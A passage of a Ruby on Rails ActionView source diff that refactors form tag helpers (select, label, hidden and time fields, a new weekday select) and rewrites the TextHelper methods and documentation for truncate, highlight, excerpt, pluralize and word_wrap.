         def initialize(object_name, method_name, template_object, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
           @collection          = collection
           @group_method        = group_method
@@ -15,7 +20,7 @@ def initialize(object_name, method_name, template_object, collection, group_meth
 
         def render
           option_tags_options = {
-            selected: @options.fetch(:selected) { value(@object) },
+            selected: @options.fetch(:selected) { value },
             disabled: @options[:disabled]
           }
 
diff --git a/actionview/lib/action_view/helpers/tags/hidden_field.rb b/actionview/lib/action_view/helpers/tags/hidden_field.rb
index c3757c246120a..9735cc60a4f11 100644
--- a/actionview/lib/action_view/helpers/tags/hidden_field.rb
+++ b/actionview/lib/action_view/helpers/tags/hidden_field.rb
@@ -1,7 +1,13 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class HiddenField < TextField # :nodoc:
+        def render
+          @options.reverse_merge!(autocomplete: "off") unless ActionView::Base.remove_hidden_field_autocomplete
+          super
+        end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
index cab15ae2012d9..c1c8c8efe381f 100644
--- a/actionview/lib/action_view/helpers/tags/label.rb
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
@@ -23,6 +25,10 @@ def translation
 
             content
           end
+
+          def to_s
+            translation
+          end
         end
 
         def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
@@ -42,18 +48,11 @@ def initialize(object_name, method_name, template_object, content_or_options = n
         def render(&block)
           options = @options.stringify_keys
           tag_value = options.delete("value")
-          name_and_id = options.dup
 
-          if name_and_id["for"]
-            name_and_id["id"] = name_and_id["for"]
-          else
-            name_and_id.delete("id")
-          end
-
-          add_default_name_and_id_for_value(tag_value, name_and_id)
+          add_default_name_and_field_for_value(tag_value, options, "for")
           options.delete("index")
+          options.delete("name")
           options.delete("namespace")
-          options["for"] = name_and_id["id"] unless options.key?("for")
 
           builder = LabelBuilder.new(@template_object, @object_name, @method_name, @object, tag_value)
 
@@ -65,18 +64,13 @@ def render(&block)
             render_component(builder)
           end
 
-          label_tag(name_and_id["id"], content, options)
+          label_tag(options["for"], content, options)
         end
 
         private
-
           def render_component(builder)
             builder.translation
           end
-
-          def skip_default_ids?
-            false # The id is used as the `for` attribute.
-          end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/month_field.rb b/actionview/lib/action_view/helpers/tags/month_field.rb
index 4c0fb846eef39..d652ef4166a7a 100644
--- a/actionview/lib/action_view/helpers/tags/month_field.rb
+++ b/actionview/lib/action_view/helpers/tags/month_field.rb
@@ -1,11 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class MonthField < DatetimeField # :nodoc:
         private
-
-          def format_date(value)
-            value.try(:strftime, "%Y-%m")
+          def format_datetime(value)
+            value&.strftime("%Y-%m")
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/number_field.rb b/actionview/lib/action_view/helpers/tags/number_field.rb
index 4f95b1b4dedeb..41c696423c5bb 100644
--- a/actionview/lib/action_view/helpers/tags/number_field.rb
+++ b/actionview/lib/action_view/helpers/tags/number_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/password_field.rb b/actionview/lib/action_view/helpers/tags/password_field.rb
index 444ef65074e80..9f10f5236ee3b 100644
--- a/actionview/lib/action_view/helpers/tags/password_field.rb
+++ b/actionview/lib/action_view/helpers/tags/password_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/placeholderable.rb b/actionview/lib/action_view/helpers/tags/placeholderable.rb
index cf7b117614d97..e9f7601e57f11 100644
--- a/actionview/lib/action_view/helpers/tags/placeholderable.rb
+++ b/actionview/lib/action_view/helpers/tags/placeholderable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/radio_button.rb b/actionview/lib/action_view/helpers/tags/radio_button.rb
index 43dbd32083b2d..aafec1e086d39 100644
--- a/actionview/lib/action_view/helpers/tags/radio_button.rb
+++ b/actionview/lib/action_view/helpers/tags/radio_button.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tags/checkable"
 
 module ActionView
@@ -15,13 +17,12 @@ def render
           options = @options.stringify_keys
           options["type"]     = "radio"
           options["value"]    = @tag_value
-          options["checked"] = "checked" if input_checked?(object, options)
-          add_default_name_and_id_for_value(@tag_value, options)
+          options["checked"] = "checked" if input_checked?(options)
+          add_default_name_and_field_for_value(@tag_value, options)
           tag("input", options)
         end
 
         private
-
           def checked?(value)
             value.to_s == @tag_value.to_s
           end
diff --git a/actionview/lib/action_view/helpers/tags/range_field.rb b/actionview/lib/action_view/helpers/tags/range_field.rb
index f98ae880437b2..66d1bbac5bb43 100644
--- a/actionview/lib/action_view/helpers/tags/range_field.rb
+++ b/actionview/lib/action_view/helpers/tags/range_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/search_field.rb b/actionview/lib/action_view/helpers/tags/search_field.rb
index a848aeabfabe4..f20934890498a 100644
--- a/actionview/lib/action_view/helpers/tags/search_field.rb
+++ b/actionview/lib/action_view/helpers/tags/search_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/select.rb b/actionview/lib/action_view/helpers/tags/select.rb
index 667c7e945a0c8..e0a3e69ce4298 100644
--- a/actionview/lib/action_view/helpers/tags/select.rb
+++ b/actionview/lib/action_view/helpers/tags/select.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class Select < Base # :nodoc:
+        include SelectRenderer
+        include FormOptionsHelper
+
         def initialize(object_name, method_name, template_object, choices, options, html_options)
           @choices = block_given? ? template_object.capture { yield || "" } : choices
           @choices = @choices.to_a if @choices.is_a?(Range)
@@ -13,7 +18,7 @@ def initialize(object_name, method_name, template_object, choices, options, html
 
         def render
           option_tags_options = {
-            selected: @options.fetch(:selected) { value(@object) },
+            selected: @options.fetch(:selected) { value.nil? ? "" : value },
             disabled: @options[:disabled]
           }
 
@@ -27,13 +32,17 @@ def render
         end
 
         private
-
           # Grouped choices look like this:
           #
           #   [nil, []]
           #   { nil => [] }
           def grouped_choices?
-            !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
+            return false if @choices.blank?
+
+            first_choice = @choices.first
+            return false unless first_choice.is_a?(Enumerable)
+
+            first_choice.second.is_a?(Array)
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/select_renderer.rb b/actionview/lib/action_view/helpers/tags/select_renderer.rb
new file mode 100644
index 0000000000000..bfa09f2bed3bb
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/select_renderer.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      module SelectRenderer # :nodoc:
+        private
+          def select_content_tag(option_tags, options, html_options)
+            html_options = html_options.stringify_keys
+            [:required, :multiple, :size].each do |prop|
+              html_options[prop.to_s] = options.delete(prop) if options.key?(prop) && !html_options.key?(prop.to_s)
+            end
+
+            add_default_name_and_field(html_options)
+
+            if placeholder_required?(html_options)
+              raise ArgumentError, "include_blank cannot be false for a required field." if options[:include_blank] == false
+              options[:include_blank] ||= true unless options[:prompt]
+            end
+
+            value = options.fetch(:selected) { value() }
+            select = content_tag("select", add_options(option_tags, options, value), html_options)
+
+            if html_options["multiple"] && options.fetch(:include_hidden, true)
+              tag_options = { disabled: html_options["disabled"], name: html_options["name"], type: "hidden", value: "" }
+              tag_options[:autocomplete] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+              tag("input", tag_options) + select
+            else
+              select
+            end
+          end
+
+          def placeholder_required?(html_options)
+            # See https://html.spec.whatwg.org/multipage/forms.html#attr-select-required
+            html_options["required"] && !html_options["multiple"] && html_options.fetch("size", 1).to_i == 1
+          end
+
+          def add_options(option_tags, options, value = nil)
+            if options[:include_blank]
+              content = (options[:include_blank] if options[:include_blank].is_a?(String))
+              label = (" " unless content)
+              option_tags = tag_builder.option(content, value: "", label: label) + "\n" + option_tags
+            end
+
+            if value.blank? && options[:prompt]
+              tag_options = { value: "" }.tap do |prompt_opts|
+                prompt_opts[:disabled] = true if options[:disabled] == ""
+                prompt_opts[:selected] = true if options[:selected] == ""
+              end
+              option_tags = tag_builder.option(prompt_text(options[:prompt]), **tag_options) + "\n" + option_tags
+            end
+
+            option_tags
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/tel_field.rb b/actionview/lib/action_view/helpers/tags/tel_field.rb
index 987bb9e67a34e..ab1caaac4862e 100644
--- a/actionview/lib/action_view/helpers/tags/tel_field.rb
+++ b/actionview/lib/action_view/helpers/tags/tel_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/text_area.rb b/actionview/lib/action_view/helpers/tags/text_area.rb
index 31e3a9e9b11ae..75a8510d4ca79 100644
--- a/actionview/lib/action_view/helpers/tags/text_area.rb
+++ b/actionview/lib/action_view/helpers/tags/text_area.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tags/placeholderable"
 
 module ActionView
@@ -8,13 +10,13 @@ class TextArea < Base # :nodoc:
 
         def render
           options = @options.stringify_keys
-          add_default_name_and_id(options)
+          add_default_name_and_field(options)
 
           if size = options.delete("size")
             options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
           end
 
-          content_tag("textarea", options.delete("value") { value_before_type_cast(object) }, options)
+          content_tag("textarea", options.delete("value") { value_before_type_cast }, options)
         end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/text_field.rb b/actionview/lib/action_view/helpers/tags/text_field.rb
index 613cade7b315f..9b56d1564eed2 100644
--- a/actionview/lib/action_view/helpers/tags/text_field.rb
+++ b/actionview/lib/action_view/helpers/tags/text_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tags/placeholderable"
 
 module ActionView
@@ -10,8 +12,8 @@ def render
           options = @options.stringify_keys
           options["size"] = options["maxlength"] unless options.key?("size")
           options["type"] ||= field_type
-          options["value"] = options.fetch("value") { value_before_type_cast(object) } unless field_type == "file"
-          add_default_name_and_id(options)
+          options["value"] = options.fetch("value") { value_before_type_cast } unless field_type == "file"
+          add_default_name_and_field(options)
           tag("input", options)
         end
 
@@ -22,7 +24,6 @@ def field_type
         end
 
         private
-
           def field_type
             self.class.field_type
           end
diff --git a/actionview/lib/action_view/helpers/tags/time_field.rb b/actionview/lib/action_view/helpers/tags/time_field.rb
index 0e90a3aed78b9..cd3578efe9d50 100644
--- a/actionview/lib/action_view/helpers/tags/time_field.rb
+++ b/actionview/lib/action_view/helpers/tags/time_field.rb
@@ -1,11 +1,21 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class TimeField < DatetimeField # :nodoc:
-        private
+        def initialize(object_name, method_name, template_object, options = {})
+          @include_seconds = options.delete(:include_seconds) { true }
+          super
+        end
 
-          def format_date(value)
-            value.try(:strftime, "%T.%L")
+        private
+          def format_datetime(value)
+            if @include_seconds
+              value&.strftime("%T.%L")
+            else
+              value&.strftime("%H:%M")
+            end
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/time_select.rb b/actionview/lib/action_view/helpers/tags/time_select.rb
index 0b06311d25522..ba3dcb64e3a9b 100644
--- a/actionview/lib/action_view/helpers/tags/time_select.rb
+++ b/actionview/lib/action_view/helpers/tags/time_select.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/time_zone_select.rb b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
index 80d165ec7e9f7..37d647e6897e6 100644
--- a/actionview/lib/action_view/helpers/tags/time_zone_select.rb
+++ b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class TimeZoneSelect < Base # :nodoc:
+        include SelectRenderer
+        include FormOptionsHelper
+
         def initialize(object_name, method_name, template_object, priority_zones, options, html_options)
           @priority_zones = priority_zones
           @html_options   = html_options
@@ -11,7 +16,7 @@ def initialize(object_name, method_name, template_object, priority_zones, option
 
         def render
           select_content_tag(
-            time_zone_options_for_select(value(@object) || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
+            time_zone_options_for_select(value || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
           )
         end
       end
diff --git a/actionview/lib/action_view/helpers/tags/translator.rb b/actionview/lib/action_view/helpers/tags/translator.rb
index ced835eaa8ceb..e81ca3aef03d7 100644
--- a/actionview/lib/action_view/helpers/tags/translator.rb
+++ b/actionview/lib/action_view/helpers/tags/translator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
@@ -14,13 +16,8 @@ def translate
           translated_attribute || human_attribute_name
         end
 
-        # TODO Change this to private once we've dropped Ruby 2.2 support.
-        # Workaround for Ruby 2.2 "private attribute?" warning.
-        protected
-
-          attr_reader :object_name, :method_and_value, :scope, :model
-
         private
+          attr_reader :object_name, :method_and_value, :scope, :model
 
           def i18n_default
             if model
diff --git a/actionview/lib/action_view/helpers/tags/url_field.rb b/actionview/lib/action_view/helpers/tags/url_field.rb
index d76340178db9a..395fec67e7bec 100644
--- a/actionview/lib/action_view/helpers/tags/url_field.rb
+++ b/actionview/lib/action_view/helpers/tags/url_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/week_field.rb b/actionview/lib/action_view/helpers/tags/week_field.rb
index 835d1667d7e58..51203006d1d06 100644
--- a/actionview/lib/action_view/helpers/tags/week_field.rb
+++ b/actionview/lib/action_view/helpers/tags/week_field.rb
@@ -1,11 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class WeekField < DatetimeField # :nodoc:
         private
-
-          def format_date(value)
-            value.try(:strftime, "%Y-W%V")
+          def format_datetime(value)
+            value&.strftime("%Y-W%V")
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/weekday_select.rb b/actionview/lib/action_view/helpers/tags/weekday_select.rb
new file mode 100644
index 0000000000000..82a60b918cdec
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/weekday_select.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class WeekdaySelect < Base # :nodoc:
+        include SelectRenderer
+        include FormOptionsHelper
+
+        def initialize(object_name, method_name, template_object, options, html_options)
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          select_content_tag(
+            weekday_options_for_select(
+              value || @options[:selected],
+              index_as_value: @options.fetch(:index_as_value, false),
+              day_format: @options.fetch(:day_format, :day_names),
+              beginning_of_week: @options.fetch(:beginning_of_week, Date.beginning_of_week)
+            ),
+            @options,
+            @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
index bc922f9ce8bff..3139ee410c44f 100644
--- a/actionview/lib/action_view/helpers/text_helper.rb
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -1,9 +1,16 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/filters"
+require "active_support/core_ext/string/access"
 require "active_support/core_ext/array/extract_options"
+require "action_view/helpers/sanitize_helper"
+require "action_view/helpers/tag_helper"
+require "action_view/helpers/output_safety_helper"
 
 module ActionView
-  # = Action View Text Helpers
-  module Helpers #:nodoc:
+  module Helpers # :nodoc:
+    # = Action View Text \Helpers
+    #
     # The TextHelper module provides a set of methods for filtering, formatting
     # and transforming strings, which can reduce the amount of inline Ruby code in
     # your views. These helper methods extend Action View making them callable
@@ -11,9 +18,9 @@ module Helpers #:nodoc:
     #
     # ==== Sanitization
     #
-    # Most text helpers by default sanitize the given content, but do not escape it.
-    # This means HTML tags will appear in the page but all malicious code will be removed.
-    # Let's look at some examples using the +simple_format+ method:
+    # Most text helpers that generate HTML output sanitize the given input by default,
+    # but do not escape it. This means HTML tags will appear in the page but all malicious
+    # code will be removed. Let's look at some examples using the +simple_format+ method:
     #
     #   simple_format('<a href="http://example.com/">Example</a>')
     #   # => "<p><a href=\"http://example.com/\">Example</a></p>"
@@ -34,21 +41,25 @@ module TextHelper
       include OutputSafetyHelper
 
       # The preferred method of outputting text in your views is to use the
-      # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+      # <tt><%= "text" %></tt> eRuby syntax. The regular +puts+ and +print+ methods
       # do not operate as expected in an eRuby code block. If you absolutely must
-      # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+      # output text within a non-output code block (i.e., <tt><% %></tt>), you
+      # can use the +concat+ method.
+      #
+      #   <% concat "hello" %> is equivalent to <%= "hello" %>
       #
       #   <%
-      #       concat "hello"
-      #       # is the equivalent of <%= "hello" %>
-      #
-      #       if logged_in
-      #         concat "Logged in!"
-      #       else
-      #         concat link_to('login', action: :login)
-      #       end
-      #       # will either display "Logged in!" or a login link
+      #      unless signed_in?
+      #        concat link_to("Sign In", action: :sign_in)
+      #      end
       #   %>
+      #
+      #   is equivalent to
+      #
+      #   <% unless signed_in? %>
+      #     <%= link_to "Sign In", action: :sign_in %>
+      #   <% end %>
+      #
       def concat(string)
         output_buffer << string
       end
@@ -57,17 +68,36 @@ def safe_concat(string)
         output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
       end
 
-      # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
-      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
-      # for a total length not exceeding <tt>:length</tt>.
+      # Truncates +text+ if it is longer than a specified +:length+. If +text+
+      # is truncated, an omission marker will be appended to the result for a
+      # total length not exceeding +:length+.
+      #
+      # You can also pass a block to render and append extra content after the
+      # omission marker when +text+ is truncated. However, this content _can_
+      # cause the total length to exceed +:length+ characters.
       #
-      # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
+      # The result will be escaped unless <tt>escape: false</tt> is specified.
+      # In any case, the result will be marked HTML-safe. Care should be taken
+      # if +text+ might contain HTML tags or entities, because truncation could
+      # produce invalid HTML, such as unbalanced or incomplete tags.
+      #
+      # ==== Options
       #
-      # Pass a block if you want to show extra content when the text is truncated.
+      # [+:length+]
+      #   The maximum number of characters that should be returned, excluding
+      #   any extra content from the block. Defaults to 30.
       #
-      # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
-      # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
-      # may produce invalid HTML (such as unbalanced or incomplete tags).
+      # [+:omission+]
+      #   The string to append after truncating. Defaults to  <tt>"..."</tt>.
+      #
+      # [+:separator+]
+      #   A string or regexp used to find a breaking point at which to truncate.
+      #   By default, truncation can occur at any character in +text+.
+      #
+      # [+:escape+]
+      #   Whether to escape the result. Defaults to true.
+      #
+      # ==== Examples
       #
       #   truncate("Once upon a time in a world far far away")
       #   # => "Once upon a time in a world..."
@@ -88,7 +118,7 @@ def safe_concat(string)
       #   # => "<p>Once upon a time in a wo..."
       #
       #   truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
-      #   # => "Once upon a time in a wo...<a href="#">Continue</a>"
+      #   # => "Once upon a time in a world...<a href=\"#\">Continue</a>"
       def truncate(text, options = {}, &block)
         if text
           length  = options.fetch(:length, 30)
@@ -100,76 +130,108 @@ def truncate(text, options = {}, &block)
         end
       end
 
-      # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
-      # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
-      # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
-      # '<mark>\1</mark>') or passing a block that receives each matched term. By default +text+
-      # is sanitized to prevent possible XSS attacks. If the input is trustworthy, passing false
-      # for <tt>:sanitize</tt> will turn sanitizing off.
+      # Highlights occurrences of +phrases+ in +text+ by formatting them with a
+      # highlighter string. +phrases+ can be one or more strings or regular
+      # expressions. The result will be marked HTML safe. By default, +text+ is
+      # sanitized before highlighting to prevent possible XSS attacks.
+      #
+      # If a block is specified, it will be used instead of the highlighter
+      # string. Each occurrence of a phrase will be passed to the block, and its
+      # return value will be inserted into the final result.
+      #
+      # ==== Options
+      #
+      # [+:highlighter+]
+      #   The highlighter string. Uses <tt>\1</tt> as the placeholder for a
+      #   phrase, similar to +String#sub+. Defaults to <tt>"<mark>\1</mark>"</tt>.
+      #   This option is ignored if a block is specified.
+      #
+      # [+:sanitize+]
+      #   Whether to sanitize +text+ before highlighting. Defaults to true.
+      #
+      # ==== Examples
       #
       #   highlight('You searched for: rails', 'rails')
-      #   # => You searched for: <mark>rails</mark>
+      #   # => "You searched for: <mark>rails</mark>"
       #
       #   highlight('You searched for: rails', /for|rails/)
-      #   # => You searched <mark>for</mark>: <mark>rails</mark>
+      #   # => "You searched <mark>for</mark>: <mark>rails</mark>"
       #
       #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
-      #   # => You searched for: ruby, rails, dhh
+      #   # => "You searched for: ruby, rails, dhh"
       #
       #   highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
-      #   # => You searched <em>for</em>: <em>rails</em>
+      #   # => "You searched <em>for</em>: <em>rails</em>"
       #
       #   highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
-      #   # => You searched for: <a href="search?q=rails">rails</a>
+      #   # => "You searched for: <a href=\"search?q=rails\">rails</a>"
       #
-      #   highlight('You searched for: rails', 'rails') { |match| link_to(search_path(q: match, match)) }
-      #   # => You searched for: <a href="search?q=rails">rails</a>
+      #   highlight('You searched for: rails', 'rails') { |match| link_to(search_path(q: match)) }
+      #   # => "You searched for: <a href=\"search?q=rails\">rails</a>"
       #
       #   highlight('<a href="javascript:alert(\'no!\')">ruby</a> on rails', 'rails', sanitize: false)
-      #   # => "<a>ruby</a> on <mark>rails</mark>"
-      def highlight(text, phrases, options = {})
+      #   # => "<a href=\"javascript:alert('no!')\">ruby</a> on <mark>rails</mark>"
+      def highlight(text, phrases, options = {}, &block)
         text = sanitize(text) if options.fetch(:sanitize, true)
 
         if text.blank? || phrases.blank?
           text || ""
         else
-          match = Array(phrases).map do |p|
-            Regexp === p ? p.to_s : Regexp.escape(p)
-          end.join("|")
-
-          if block_given?
-            text.gsub(/(#{match})(?![^<]*?>)/i) { |found| yield found }
-          else
-            highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
-            text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
-          end
+          patterns = Array(phrases).map { |phrase| Regexp === phrase ? phrase : Regexp.escape(phrase) }
+          pattern = /(#{patterns.join("|")})/i
+          highlighter = options.fetch(:highlighter, '<mark>\1</mark>') unless block
+
+          text.scan(/<[^>]*|[^<]+/).each do |segment|
+            if !segment.start_with?("<")
+              if block
+                segment.gsub!(pattern, &block)
+              else
+                segment.gsub!(pattern, highlighter)
+              end
+            end
+          end.join
         end.html_safe
       end
 
-      # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
-      # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
-      # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
-      # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. Use the
-      # <tt>:separator</tt> option to choose the delimitation. The resulting string will be stripped in any case. If the +phrase+
-      # isn't found, +nil+ is returned.
+      # Extracts the first occurrence of +phrase+ plus surrounding text from
+      # +text+. An omission marker is prepended / appended if the start / end of
+      # the result does not coincide with the start / end of +text+. The result
+      # is always stripped in any case. Returns +nil+ if +phrase+ isn't found.
+      #
+      # ==== Options
+      #
+      # [+:radius+]
+      #   The number of characters (or tokens — see +:separator+ option) around
+      #   +phrase+ to include in the result. Defaults to 100.
+      #
+      # [+:omission+]
+      #   The marker to prepend / append when the start / end of the excerpt
+      #   does not coincide with the start / end of +text+. Defaults to
+      #   <tt>"..."</tt>.
+      #
+      # [+:separator+]
+      #   The separator between tokens to count for +:radius+. Defaults to
+      #   <tt>""</tt>, which treats each character as a token.
+      #
+      # ==== Examples
       #
       #   excerpt('This is an example', 'an', radius: 5)
-      #   # => ...s is an exam...
+      #   # => "...s is an exam..."
       #
       #   excerpt('This is an example', 'is', radius: 5)
-      #   # => This is a...
+      #   # => "This is a..."
       #
       #   excerpt('This is an example', 'is')
-      #   # => This is an example
+      #   # => "This is an example"
       #
       #   excerpt('This next thing is an example', 'ex', radius: 2)
-      #   # => ...next...
+      #   # => "...next..."
       #
       #   excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
-      #   # => <chop> is also an example
+      #   # => "<chop> is also an example"
       #
       #   excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
-      #   # => ...a very beautiful...
+      #   # => "...a very beautiful..."
       def excerpt(text, phrase, options = {})
         return unless text && phrase
 
@@ -186,7 +248,7 @@ def excerpt(text, phrase, options = {})
 
         unless separator.empty?
           text.split(separator).each do |value|
-            if value.match(regex)
+            if value.match?(regex)
               phrase = value
               break
             end
@@ -198,35 +260,42 @@ def excerpt(text, phrase, options = {})
         prefix, first_part   = cut_excerpt_part(:first, first_part, separator, options)
         postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
 
-        affix = [first_part, separator, phrase, separator, second_part].join.strip
+        affix = [
+          first_part,
+          !first_part.empty? ? separator : "",
+          phrase,
+          !second_part.empty? ? separator : "",
+          second_part
+        ].join.strip
+
         [prefix, affix, postfix].join
       end
 
       # Attempts to pluralize the +singular+ word unless +count+ is 1. If
       # +plural+ is supplied, it will use that when count is > 1, otherwise
       # it will use the Inflector to determine the plural form for the given locale,
-      # which defaults to I18n.locale
+      # which defaults to +I18n.locale+.
       #
       # The word will be pluralized using rules defined for the locale
       # (you must define your own inflection rules for languages other than English).
-      # See ActiveSupport::Inflector.pluralize
+      # See ActiveSupport::Inflector.pluralize.
       #
       #   pluralize(1, 'person')
-      #   # => 1 person
+      #   # => "1 person"
       #
       #   pluralize(2, 'person')
-      #   # => 2 people
+      #   # => "2 people"
       #
       #   pluralize(3, 'person', plural: 'users')
-      #   # => 3 users
+      #   # => "3 users"
       #
       #   pluralize(0, 'person')
-      #   # => 0 people
+      #   # => "0 people"
       #
       #   pluralize(2, 'Person', locale: :de)
-      #   # => 2 Personen
+      #   # => "2 Personen"
       def pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18n.locale)
-        word = if (count == 1 || count =~ /^1(\.0+)?$/)
+        word = if count == 1 || count.to_s.match?(/^1(\.0+)?$/)
           singular
         else
           plural || singular.pluralize(locale)
@@ -240,29 +309,39 @@ def pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18
       # (which is 80 by default).
       #
       #   word_wrap('Once upon a time')
-      #   # => Once upon a time
+      #   # => "Once upon a time"
       #
       #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
-      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
+      #   # => "Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined..."
       #
       #   word_wrap('Once upon a time', line_width: 8)
-      #   # => Once\nupon a\ntime
+      #   # => "Once\nupon a\ntime"
       #
       #   word_wrap('Once upon a time', line_width: 1)
-      #   # => Once\nupon\na\ntime
+      #   # => "Once\nupon\na\ntime"
       #
-      #   You can also specify a custom +break_sequence+ ("\n" by default)
+      # You can also specify a custom +break_sequence+ ("\n" by default):
       #
       #   word_wrap('Once upon a time', line_width: 1, break_sequence: "\r\n")
-      #   # => Once\r\nupon\r\na\r\ntime
+      #   # => "Once\r\nupon\r\na\r\ntime"
       def word_wrap(text, line_width: 80, break_sequence: "\n")
-        text.split("\n").collect! do |line|
-          line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1#{break_sequence}").strip : line
-        end * break_sequence
+        return +"" if text.empty?
+
+        # Match up to `line_width` characters, followed by one of
+        #   (1) non-newline whitespace plus an optional newline
+        #   (2) the end of the string, ignoring any trailing newlines
+        #   (3) a newline
+        #
+        # -OR-
+        #
+        # Match an empty line
+        pattern = /(.{1,#{line_width}})(?:[^\S\n]+\n?|\n*\Z|\n)|\n/
+
+        text.gsub(pattern, "\\1#{break_sequence}").chomp!(break_sequence)
       end
 
       # Returns +text+ transformed into HTML using simple formatting rules.
-      # Two or more consecutive newlines(<tt>\n\n</tt> or <tt>\r\n\r\n</tt>) are
